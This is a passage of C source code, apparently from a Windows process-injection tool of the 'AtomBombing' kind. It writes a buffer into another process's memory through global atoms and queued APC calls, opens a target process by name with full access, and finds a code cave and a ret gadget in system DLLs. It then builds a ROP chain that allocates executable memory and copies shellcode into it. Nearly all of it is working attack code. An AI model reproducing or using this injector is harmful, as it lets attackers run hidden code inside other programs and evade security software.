546 | ESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(
547 | HANDLE hThread,
548 | PVOID pvBaseAddress,
549 | PVOID pvBuffer,
550 | DWORD dwBufferSize
551 | )
552 | {
553 | ESTATUS eReturn = ESTATUS_INVALID;
554 | DWORD dwIndex = 0;
555 | HMODULE hKernel32 = NULL;
556 | PKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;
557 | BOOL bDoesStringContainUnicodeNullTerminator = FALSE;
558 |
559 |
560 | hKernel32 = GetModuleHandle(L"kernel32.dll");
561 | eReturn = GetFunctionAddressFromDll(
562 | KERNEL32,
563 | GLOBALGETATOMNAMEW,
564 | (PVOID *) &pfnGlobalGetAtomNameW
565 | );
566 |
567 | eReturn = main_DoesStringContainNullTerminatorW(
568 | pvBuffer,
569 | dwBufferSize,
570 | &bDoesStringContainUnicodeNullTerminator
571 | );
572 | if (ESTATUS_FAILED(eReturn))
573 | {
574 | goto lblCleanup;
575 | }
576 | if (FALSE != bDoesStringContainUnicodeNullTerminator)
577 | {
578 | eReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;
579 | goto lblCleanup;
580 | }
581 |
582 | for (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR))
583 | {
584 | ATOM tAtom = 0;
585 | CHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };
586 | DWORD cbBlockSize = 0;
587 |
588 | if ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))
589 | {
590 | cbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);
591 | }
592 | else
593 | {
594 | cbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);
595 | }
596 |
597 | (VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);
598 |
599 | eReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);
600 | if (ESTATUS_FAILED(eReturn))
601 | {
602 | goto lblCleanup;
603 | }
604 |
605 | eReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(
606 | hThread,
607 | pfnGlobalGetAtomNameW,
608 | (PVOID)tAtom,
609 | ((PUCHAR)pvBaseAddress) + dwIndex,
610 | (PVOID)(cbBlockSize + sizeof(WCHAR))
611 | );
612 | if (ESTATUS_FAILED(eReturn))
613 | {
614 | goto lblCleanup;
615 | }
616 | }
617 |
618 | eReturn = ESTATUS_SUCCESS;
619 |
620 | lblCleanup:
621 |
622 | return eReturn;
623 | }
624 |
625 | ESTATUS main_IsProcessMemoryEqual(
626 | HANDLE hProcess,
627 | PVOID pvRemoteAddress,
628 | PVOID pvExpectedBuffer,
629 | DWORD cbExpectedBufferSize,
630 | PBOOL pbIsMemoryEqual
631 | )
632 | {
633 | ESTATUS eReturn = ESTATUS_INVALID;
634 | PVOID pvTempBuffer = NULL;
635 | DWORD dwNumberOfBytesRead = 0;
636 | BOOL bErr = FALSE;
637 | BOOL bIsMemoryEqual = FALSE;
638 |
639 | pvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);
640 | if (NULL == pvTempBuffer)
641 | {
642 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;
643 | goto lblCleanup;
644 | }
645 |
646 | bErr = ReadProcessMemory(
647 | hProcess,
648 | pvRemoteAddress,
649 | pvTempBuffer,
650 | cbExpectedBufferSize,
651 | &dwNumberOfBytesRead
652 | );
653 | if (FALSE == bErr)
654 | {
655 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;
656 | printf("ReadProcessMemory error. GLE: %d.", GetLastError());
657 | goto lblCleanup;
658 | }
659 |
660 | if (dwNumberOfBytesRead != cbExpectedBufferSize)
661 | {
662 | eReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;
663 | goto lblCleanup;
664 | }
665 |
666 | if (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))
667 | {
668 | bIsMemoryEqual = TRUE;
669 | }
670 |
671 | eReturn = ESTATUS_SUCCESS;
672 | *pbIsMemoryEqual = bIsMemoryEqual;
673 |
674 | lblCleanup:
675 | if (NULL != pvTempBuffer)
676 | {
677 | HeapFree(GetProcessHeap(), 0, pvTempBuffer);
678 | pvTempBuffer = NULL;
679 | }
680 |
681 | return eReturn;
682 |
683 | }
684 |
685 | ESTATUS main_ApcWriteProcessMemoryNullTerminated(
686 | HANDLE hProcess,
687 | HANDLE hThread,
688 | PVOID pvBaseAddress,
689 | PVOID pvBuffer,
690 | DWORD dwBufferSize
691 | )
692 | {
693 | ESTATUS eReturn = ESTATUS_INVALID;
694 | BOOL bShouldStop = FALSE;
695 |
696 | do
697 | {
698 | eReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(
699 | hThread,
700 | pvBaseAddress,
701 | pvBuffer,
702 | dwBufferSize
703 | );
704 | if (ESTATUS_FAILED(eReturn))
705 | {
706 | goto lblCleanup;
707 | }
708 |
709 | Sleep(100);
710 |
711 | eReturn = main_IsProcessMemoryEqual(
712 | hProcess,
713 | pvBaseAddress,
714 | pvBuffer,
715 | dwBufferSize,
716 | &bShouldStop
717 | );
718 | if (ESTATUS_FAILED(eReturn))
719 | {
720 | goto lblCleanup;
721 | }
722 |
723 | if (FALSE == bShouldStop)
724 | {
725 | printf("[*] Data chunk written incorrectly, retrying...\n\n\n");
726 | }
727 |
728 | } while (FALSE == bShouldStop);
729 |
730 | eReturn = ESTATUS_SUCCESS;
731 |
732 | lblCleanup:
733 | return eReturn;
734 | }
735 |
736 | ESTATUS main_ApcWriteProcessMemoryInternal(
737 | HANDLE hProcess,
738 | HANDLE hThread,
739 | PVOID pvBaseAddress,
740 | PVOID pvBuffer,
741 | DWORD dwBufferSize
742 | )
743 | {
744 | PWCHAR pwcPos = NULL;
745 | ESTATUS eReturn = ESTATUS_INVALID;
746 | PVOID pvTempBuffer = NULL;
747 | PVOID pvLocalBufferPointer = pvBuffer;
748 | PVOID pvRemoteBufferPointer = pvBaseAddress;
749 | DWORD dwBytesWritten = 0;
750 |
751 | while (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)
752 | {
753 | DWORD cbTempBufferSize = 0;
754 |
755 | pwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(
756 | (LPWSTR)pvLocalBufferPointer,
757 | (dwBufferSize - dwBytesWritten) / sizeof(WCHAR)
758 | );
759 | if (0 == pwcPos)
760 | {
761 | goto lblCleanup;
762 | }
763 | if (pvLocalBufferPointer == pwcPos)
764 | {
765 | pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);
766 | pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);
767 | dwBytesWritten += sizeof(UNICODE_NULL);
768 | continue;
769 | }
770 |
771 | cbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;
772 |
773 | pvTempBuffer = HeapAlloc(
774 | GetProcessHeap(),
775 | HEAP_ZERO_MEMORY,
776 | cbTempBufferSize + sizeof(UNICODE_NULL)
777 | );
778 | if (NULL == pvTempBuffer)
779 | {
780 | goto lblCleanup;
781 | }
782 |
783 | memcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);
784 |
785 | eReturn = main_ApcWriteProcessMemoryNullTerminated(
786 | hProcess,
787 | hThread,
788 | pvRemoteBufferPointer,
789 | pvTempBuffer,
790 | cbTempBufferSize + sizeof(UNICODE_NULL)
791 | );
792 | if (ESTATUS_FAILED(eReturn))
793 | {
794 | goto lblCleanup;
795 | }
796 | pvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;
797 | pvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;
798 | dwBytesWritten += cbTempBufferSize;
799 |
800 | if (NULL != pvTempBuffer)
801 | {
802 | HeapFree(GetProcessHeap(), 0, pvTempBuffer);
803 | pvTempBuffer = NULL;
804 |
805 | }
806 | }
807 |
808 | eReturn = ESTATUS_SUCCESS;
809 |
810 | lblCleanup:
811 | if (NULL != pvTempBuffer)
812 | {
813 | HeapFree(GetProcessHeap(), 0, pvTempBuffer);
814 | pvTempBuffer = NULL;
815 | }
816 |
817 | return eReturn;
818 |
819 |
820 | }
821 |
822 | ESTATUS main_ApcWriteProcessMemory(
823 | HANDLE hProcess,
824 | HANDLE hThread,
825 | PVOID pvBaseAddress,
826 | PVOID pvBuffer,
827 | DWORD dwBufferSize
828 | )
829 | {
830 | ESTATUS eReturn = ESTATUS_INVALID;
831 | BOOL bShouldStop = FALSE;
832 |
833 | do
834 | {
835 | eReturn = main_ApcWriteProcessMemoryInternal(
836 | hProcess,
837 | hThread,
838 | pvBaseAddress,
839 | pvBuffer,
840 | dwBufferSize
841 | );
842 | if (ESTATUS_FAILED(eReturn))
843 | {
844 | goto lblCleanup;
845 | }
846 |
847 | Sleep(100);
848 |
849 | eReturn = main_IsProcessMemoryEqual(
850 | hProcess,
851 | pvBaseAddress,
852 | pvBuffer,
853 | dwBufferSize,
854 | &bShouldStop
855 | );
856 | if (ESTATUS_FAILED(eReturn))
857 | {
858 | goto lblCleanup;
859 | }
860 |
861 | if (bShouldStop)
862 | {
863 | printf("[*] New verification: Data chunk written successfully.\n\n\n");
864 | break;
865 | }
866 |
867 | printf("[*] New Verification: Data written incorrectly, retrying...\n\n\n");
868 |
869 | } while (TRUE);
870 |
871 | eReturn = ESTATUS_SUCCESS;
872 |
873 | lblCleanup:
874 | return eReturn;
875 | }
876 |
877 | ESTATUS main_ApcSetThreadContext(
878 | HANDLE hProcess,
879 | HANDLE hThread,
880 | PCONTEXT ptContext,
881 | PVOID pvRemoteAddress
882 | )
883 | {
884 | ESTATUS eReturn = ESTATUS_INVALID;
885 |
886 | eReturn = main_ApcWriteProcessMemory(
887 | hProcess,
888 | hThread,
889 | (PVOID)((PUCHAR)pvRemoteAddress),
890 | ptContext,
891 | FIELD_OFFSET(CONTEXT, ExtendedRegisters)
892 | );
893 | if (ESTATUS_FAILED(eReturn))
894 | {
895 | goto lblCleanup;
896 | }
897 |
898 | eReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));
899 | if (ESTATUS_FAILED(eReturn))
900 | {
901 | goto lblCleanup;
902 | }
903 |
904 | eReturn = ESTATUS_SUCCESS;
905 |
906 | lblCleanup:
907 | return eReturn;
908 |
909 | }
910 |
911 | ESTATUS main_ApcCopyFunctionPointers(
912 | HANDLE hProcess,
913 | HANDLE hThread,
914 | PVOID pvRemoteAddress
915 | )
916 | {
917 | ESTATUS eReturn = ESTATUS_INVALID;
918 | FUNCTIONPOINTERS tFunctionPointers = { 0 };
919 |
920 | eReturn = GetFunctionAddressFromDll(
921 | KERNEL32,
922 | LOADLIBRARYA,
923 | &tFunctionPointers.pfnLoadLibraryA
924 | );
925 | if (ESTATUS_FAILED(eReturn))
926 | {
927 | goto lblCleanup;
928 | }
929 |
930 | eReturn = GetFunctionAddressFromDll(
931 | KERNEL32,
932 | GETPROCADDRESS,
933 | &tFunctionPointers.pfnGetProcAddress
934 | );
935 | if (ESTATUS_FAILED(eReturn))
936 | {
937 | goto lblCleanup;
938 | }
939 |
940 | eReturn = main_ApcWriteProcessMemory(
941 | hProcess,
942 | hThread,
943 | pvRemoteAddress,
944 | &tFunctionPointers,
945 | sizeof(tFunctionPointers)
946 | );
947 | if (ESTATUS_FAILED(eReturn))
948 | {
949 | goto lblCleanup;
950 | }
951 |
952 | eReturn = ESTATUS_SUCCESS;
953 |
954 | lblCleanup:
955 | return eReturn;
956 |
957 | }
958 |
959 | ESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)
960 | {
961 | DWORD dwProcessId = 0;
962 | HANDLE hSnapshot = NULL;
963 | PROCESSENTRY32 pe = { 0 };
964 | ESTATUS eReturn = ESTATUS_INVALID;
965 |
966 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
967 | if (NULL == hSnapshot)
968 | {
969 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;
970 | printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError());
971 | goto lblCleanup;
972 | }
973 |
974 | pe.dwSize = sizeof(PROCESSENTRY32);
975 | if (FALSE == Process32First(hSnapshot, &pe))
976 | {
977 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;
978 | printf("Process32First error. GLE: %d.", GetLastError());
979 | goto lblCleanup;
980 | }
981 |
982 | do
983 | {
984 | if (NULL != wcsstr(pe.szExeFile, pszProcessName))
985 | {
986 | dwProcessId = pe.th32ProcessID;
987 | break;
988 | }
989 | } while (Process32Next(hSnapshot, &pe));
990 |
991 | if (0 == dwProcessId)
992 | {
993 | printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName);
994 | eReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;
995 | goto lblCleanup;
996 | }
997 |
998 | printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId);
999 | *pdwProcessId = dwProcessId;
1000 | eReturn = ESTATUS_SUCCESS;
1001 |
1002 | lblCleanup:
1003 | if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
1004 | {
1005 | CloseHandle(hSnapshot);
1006 | hSnapshot = NULL;
1007 | }
1008 | return eReturn;
1009 |
1010 | }
1011 |
1012 | ESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)
1013 | {
1014 | HANDLE hProcess = NULL;
1015 | ESTATUS eReturn = ESTATUS_INVALID;
1016 | DWORD dwPid = 0;
1017 |
1018 | eReturn = main_GetProcessIdByName(pszProcessName, &dwPid);
1019 | if (ESTATUS_FAILED(eReturn))
1020 | {
1021 | goto lblCleanup;
1022 | }
1023 |
1024 | hProcess = OpenProcess(
1025 | PROCESS_ALL_ACCESS,
1026 | FALSE,
1027 | dwPid
1028 | );
1029 | if (NULL == hProcess)
1030 | {
1031 | eReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;
1032 | printf("OpenProcess error. GLE: %d.", GetLastError());
1033 | goto lblCleanup;
1034 | }
1035 |
1036 | printf("[*] Opened process's handle: %d (0x%X).\n\n\n", hProcess, hProcess);
1037 | *phProcess = hProcess;
1038 | eReturn = ESTATUS_SUCCESS;
1039 |
1040 | lblCleanup:
1041 |
1042 | return eReturn;
1043 | }
1044 |
1045 | ESTATUS main_GetSectionHeader(
1046 | HMODULE hModule,
1047 | PSTR pszSectionName,
1048 | PIMAGE_SECTION_HEADER *pptSectionHeader
1049 | )
1050 | {
1051 | PIMAGE_DOS_HEADER ptDosHeader = NULL;
1052 | PIMAGE_NT_HEADERS ptNtHeaders = NULL;
1053 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
1054 | ESTATUS eReturn = ESTATUS_INVALID;
1055 | BOOL bFound = FALSE;
1056 |
1057 | ptDosHeader = (PIMAGE_DOS_HEADER)hModule;
1058 | if (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)
1059 | {
1060 | goto lblCleanup;
1061 | }
1062 |
1063 | ptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);
1064 | if (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))
1065 | {
1066 | goto lblCleanup;
1067 | }
1068 | if (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)
1069 | {
1070 | goto lblCleanup;
1071 | }
1072 |
1073 | ptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);
1074 |
1075 | for (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)
1076 | {
1077 | if (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))
1078 | {
1079 | bFound = TRUE;
1080 | break;
1081 | }
1082 | ptSectionHeader++;
1083 | }
1084 |
1085 | if (FALSE == bFound)
1086 | {
1087 | eReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;
1088 | goto lblCleanup;
1089 | }
1090 |
1091 | eReturn = ESTATUS_SUCCESS;
1092 | *pptSectionHeader = ptSectionHeader;
1093 |
1094 | lblCleanup:
1095 | return eReturn;
1096 | }
1097 |
1098 | ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)
1099 | {
1100 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
1101 | PVOID pvCodeCave = NULL;
1102 | ESTATUS eReturn = ESTATUS_INVALID;
1103 | HMODULE hNtDll = NULL;
1104 |
1105 | hNtDll = GetModuleHandleA("kernelbase.dll");
1106 | if (NULL == hNtDll)
1107 | {
1108 | eReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;
1109 | }
1110 |
1111 | eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);
1112 | if (ESTATUS_FAILED(eReturn))
1113 | {
1114 | goto lblCleanup;
1115 | }
1116 |
1117 | pvCodeCave = (PVOID) (
1118 | (DWORD) hNtDll +
1119 | ptSectionHeader->VirtualAddress +
1120 | ptSectionHeader->SizeOfRawData
1121 | );
1122 |
1123 | eReturn = ESTATUS_SUCCESS;
1124 | *ppvCodeCave = pvCodeCave;
1125 |
1126 | lblCleanup:
1127 |
1128 | return eReturn;
1129 | }
1130 |
1131 | ESTATUS main_FindRetGadget(PVOID *ppvRetGadget)
1132 | {
1133 | PIMAGE_SECTION_HEADER ptSectionHeader = NULL;
1134 | PVOID pvCodeCave = NULL;
1135 | ESTATUS eReturn = ESTATUS_INVALID;
1136 | HMODULE hNtDll = NULL;
1137 | PVOID pvRetGadget = NULL;
1138 |
1139 | hNtDll = GetModuleHandleA(NTDLL);
1140 | if (NULL == hNtDll)
1141 | {
1142 | eReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;
1143 | }
1144 |
1145 | eReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);
1146 | if (ESTATUS_FAILED(eReturn))
1147 | {
1148 | goto lblCleanup;
1149 | }
1150 |
1151 | pvRetGadget = memchr(
1152 | hNtDll + ptSectionHeader->VirtualAddress,
1153 | X86_RET,
1154 | ptSectionHeader->SizeOfRawData
1155 | );
1156 | if (NULL == pvRetGadget)
1157 | {
1158 | eReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;
1159 | goto lblCleanup;
1160 | }
1161 |
1162 | eReturn = ESTATUS_SUCCESS;
1163 | *ppvRetGadget = pvRetGadget;
1164 |
1165 | lblCleanup:
1166 |
1167 | return eReturn;
1168 | }
1169 | typedef struct _ROPCHAIN
1170 | {
1171 | // Return address of ntdll!ZwAllocateMemory
1172 | PVOID pvMemcpy;
1173 |
1174 | // Params for ntdll!ZwAllocateMemory
1175 | HANDLE ZwAllocateMemoryhProcess;
1176 | PVOID ZwAllocateMemoryBaseAddress;
1177 | ULONG_PTR ZwAllocateMemoryZeroBits;
1178 | PSIZE_T ZwAllocateMemoryRegionSize;
1179 | ULONG ZwAllocateMemoryAllocationType;
1180 | ULONG ZwAllocateMemoryProtect;
1181 |
1182 | // Return address of ntdll!memcpy
1183 | PVOID pvRetGadget;
1184 |
1185 | // Params for ntdll!memcpy
1186 | PVOID MemcpyDestination;
1187 | PVOID MemcpySource;
1188 | SIZE_T MemcpyLength;
1189 |
1190 | } ROPCHAIN, *PROPCHAIN;
1191 |
1192 | ESTATUS main_BuildROPChain(
1193 | PVOID pvROPLocation,
1194 | PVOID pvShellcodeLocation,
1195 | PROPCHAIN ptRopChain
1196 | )
1197 | {
1198 | ESTATUS eReturn = ESTATUS_INVALID;
1199 | ROPCHAIN tRopChain = { 0 };
1200 |
1201 | tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();
1202 |
1203 | tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(
1204 | ROPCHAIN,
1205 | MemcpyDestination
1206 | );
1207 | tRopChain.ZwAllocateMemoryZeroBits = NULL;
1208 |
1209 | tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(
1210 | ROPCHAIN,
1211 | MemcpyLength)
1212 | );
1213 | tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;
1214 | tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;
1215 | tRopChain.MemcpyDestination = (PVOID)0x00;
1216 | tRopChain.MemcpySource = pvShellcodeLocation;
1217 | tRopChain.MemcpyLength = sizeof(SHELLCODE);
1218 |
1219 | eReturn = GetFunctionAddressFromDll(
1220 | NTDLL,
1221 | MEMCPY,
1222 | &tRopChain.pvMemcpy
1223 | );
1224 | if (ESTATUS_FAILED(eReturn))
1225 | {
1226 | goto lblCleanup;
1227 | }
1228 |
1229 | printf("ntdll!memcpy: 0x%X", tRopChain.pvMemcpy);
1230 |
1231 | // Find a ret instruction in order to finally jump to the
1232 | // newly allocated executable shellcode.
1233 | eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);
1234 | if (ESTATUS_FAILED(eReturn))
1235 | {
1236 | goto lblCleanup;
1237 | }
1238 |
1239 | eReturn = ESTATUS_SUCCESS;
1240 | *ptRopChain = tRopChain;
1241 |
1242 | lblCleanup:
1243 |
1244 | return eReturn;
1245 |
1246 | }
1247 |
1248 | ESTATUS main_EnumProcessThreadIds(
1249 | HANDLE hProcess,
1250 | PDWORD *ppdwThreadIds,
1251 | PDWORD pcbThreadIdsSize,
1252 | PDWORD pdwNumberOfProcessThreads
1253 | )
1254 | {
1255 | HANDLE hSnapshot = NULL;
1256 | ESTATUS eReturn = ESTATUS_INVALID;
1257 | THREADENTRY32 tThreadEntry;
1258 | BOOL bErr = FALSE;
1259 | DWORD dwProcessId = 0;
1260 | PDWORD pdwThreadIds = NULL;
1261 | DWORD cbThreadIdsSize = 0;
1262 | DWORD dwNumberOfMatchingThreads = 0;
1263 |
1264 | dwProcessId = GetProcessId(hProcess);
1265 |
1266 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
1267 | if (INVALID_HANDLE_VALUE == hSnapshot)
1268 | {
1269 | goto lblCleanup;
1270 | }
1271 |
1272 | tThreadEntry.dwSize = sizeof(THREADENTRY32);
1273 | bErr = Thread32First(hSnapshot, &tThreadEntry);
1274 | if (FALSE == bErr)
1275 | {
1276 | goto lblCleanup;
1277 | }
1278 |
1279 | do
1280 | {
1281 | if (tThreadEntry.th32OwnerProcessID != dwProcessId)
1282 | {
1283 | continue;
1284 | }
1285 |
1286 | cbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);
1287 | if (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)
1288 | {
1289 |
1290 | pdwThreadIds = (PDWORD) HeapAlloc(
1291 | GetProcessHeap(),
1292 | HEAP_ZERO_MEMORY,
1293 | cbThreadIdsSize
1294 | );
1295 | }
1296 | else
1297 | {
1298 | pdwThreadIds = (PDWORD) HeapReAlloc(
1299 | GetProcessHeap(),
1300 | HEAP_ZERO_MEMORY,
1301 | pdwThreadIds,
1302 | cbThreadIdsSize
1303 | );
1304 | }
1305 | if (NULL == pdwThreadIds)
1306 | {
1307 | goto lblCleanup;
1308 | }
1309 |
1310 | pdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;
1311 |
1312 | } while (bErr = Thread32Next(hSnapshot, &tThreadEntry));
1313 |
1314 | *ppdwThreadIds = pdwThreadIds;
1315 | *pcbThreadIdsSize = cbThreadIdsSize;
1316 | *pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;
1317 | eReturn = ESTATUS_SUCCESS;
1318 |
1319 | lblCleanup:
1320 | if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))
1321 | {
1322 | CloseHandle(hSnapshot);
1323 | hSnapshot = NULL;
1324 | }
1325 |
1326 | if (ESTATUS_FAILED(eReturn))
1327 | {
1328 | if (NULL != pdwThreadIds)
1329 | {
1330 | HeapFree(GetProcessHeap(), 0, pdwThreadIds);
1331 | pdwThreadIds = NULL;
1332 | }
1333 | }
1334 |
1335 | return eReturn;
1336 | }
1337 |
1338 | VOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)
1339 | {
1340 | for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
1341 | {
1342 | if (NULL != phHandles[dwIndex])
1343 | {
1344 | CloseHandle(phHandles[dwIndex]);
1345 | phHandles[dwIndex] = NULL;
1346 | }
1347 | }
1348 | }
1349 |
1350 | VOID main_CloseRemoteHandleArray(
1351 | HANDLE hProcess,
1352 | PHANDLE phHandles,
1353 | DWORD cbHandleCount
1354 | )
1355 | {
1356 | for (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)
1357 | {
1358 | HANDLE hTemp = NULL;
1359 |
1360 | if (NULL != phHandles[dwIndex])
1361 | {
1362 | DuplicateHandle(
1363 | hProcess,
1364 | phHandles[dwIndex],
1365 | GetCurrentProcess(),
1366 | &hTemp,
1367 | 0,
1368 | FALSE,
1369 | DUPLICATE_CLOSE_SOURCE
1370 | );
1371 | phHandles[dwIndex] = NULL;
1372 | }
1373 |
1374 | if (NULL != hTemp)
1375 | {
1376 | CloseHandle(hTemp);
1377 | hTemp = NULL;
1378 | }
1379 | }
1380 | }
1381 |
1382 | ESTATUS main_EnumProcessThreads(
1383 | HANDLE hProcess,
1384 | PHANDLE *pphProcessThreadsHandles,
1385 | PDWORD pcbProcessThreadsHandlesSize,
1386 | PDWORD pdwNumberOfProcessThreads
1387 | )
1388 | {
1389 | ESTATUS eReturn = ESTATUS_INVALID;
1390 | PDWORD pdwProcessThreadIds = NULL;
1391 | DWORD cbProcessThreadIdsSize = 0;
1392 | DWORD dwNumberOfProcessThreads = 0;
1393 | PHANDLE phProcessThreadsHandles = NULL;
1394 |
1395 | eReturn = main_EnumProcessThreadIds(
1396 | hProcess,
1397 | &pdwProcessThreadIds,
1398 | &cbProcessThreadIdsSize,
1399 | &dwNumberOfProcessThreads
1400 | );
1401 | if (ESTATUS_FAILED(eReturn))
1402 | {
1403 | goto lblCleanup;
1404 | }
1405 |
1406 | cbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);
1407 | phProcessThreadsHandles = (PHANDLE) HeapAlloc(
1408 | GetProcessHeap(),
1409 | HEAP_ZERO_MEMORY,
1410 | cbProcessThreadIdsSize
1411 | );
1412 | if (NULL == phProcessThreadsHandles)
1413 | {
1414 | goto lblCleanup;
1415 | }
1416 |
1417 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
1418 | {
1419 | DWORD dwThreadId = pdwProcessThreadIds[dwIndex];
1420 |
1421 | phProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);
1422 | if (NULL == phProcessThreadsHandles[dwIndex])
1423 | {
1424 | eReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;
1425 | goto lblCleanup;
1426 | }
1427 | }
1428 |
1429 | *pphProcessThreadsHandles = phProcessThreadsHandles;
1430 | *pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;
1431 | *pdwNumberOfProcessThreads = dwNumberOfProcessThreads;
1432 | eReturn = ESTATUS_SUCCESS;
1433 |
1434 | lblCleanup:
1435 | if (NULL != pdwProcessThreadIds)
1436 | {
1437 | HeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);
1438 | pdwProcessThreadIds = NULL;
1439 | }
1440 | if (ESTATUS_FAILED(eReturn))
1441 | {
1442 | main_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);
1443 |
1444 | if (NULL != phProcessThreadsHandles)
1445 | {
1446 | HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
1447 | phProcessThreadsHandles = NULL;
1448 | }
1449 | }
1450 | return eReturn;
1451 | }
1452 |
1453 | ESTATUS main_GetThreadContext(
1454 | HANDLE hThread,
1455 | DWORD dwContextFlags,
1456 | PCONTEXT ptContext
1457 | )
1458 | {
1459 | ESTATUS eReturn = ESTATUS_INVALID;
1460 | DWORD dwErr = 0;
1461 | BOOL bErr = FALSE;
1462 | CONTEXT tContext = { NULL };
1463 |
1464 | tContext.ContextFlags = dwContextFlags;
1465 |
1466 | SuspendThread(hThread);
1467 | if (((DWORD)-1) == dwErr)
1468 | {
1469 | eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED;
1470 | goto lblCleanup;
1471 | }
1472 |
1473 | bErr = GetThreadContext(hThread, &tContext);
1474 | if (FALSE == bErr)
1475 | {
1476 | eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED;
1477 | goto lblCleanup;
1478 | }
1479 |
1480 | ResumeThread(hThread);
1481 | if (((DWORD)-1) == dwErr)
1482 | {
1483 | eReturn = ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED;
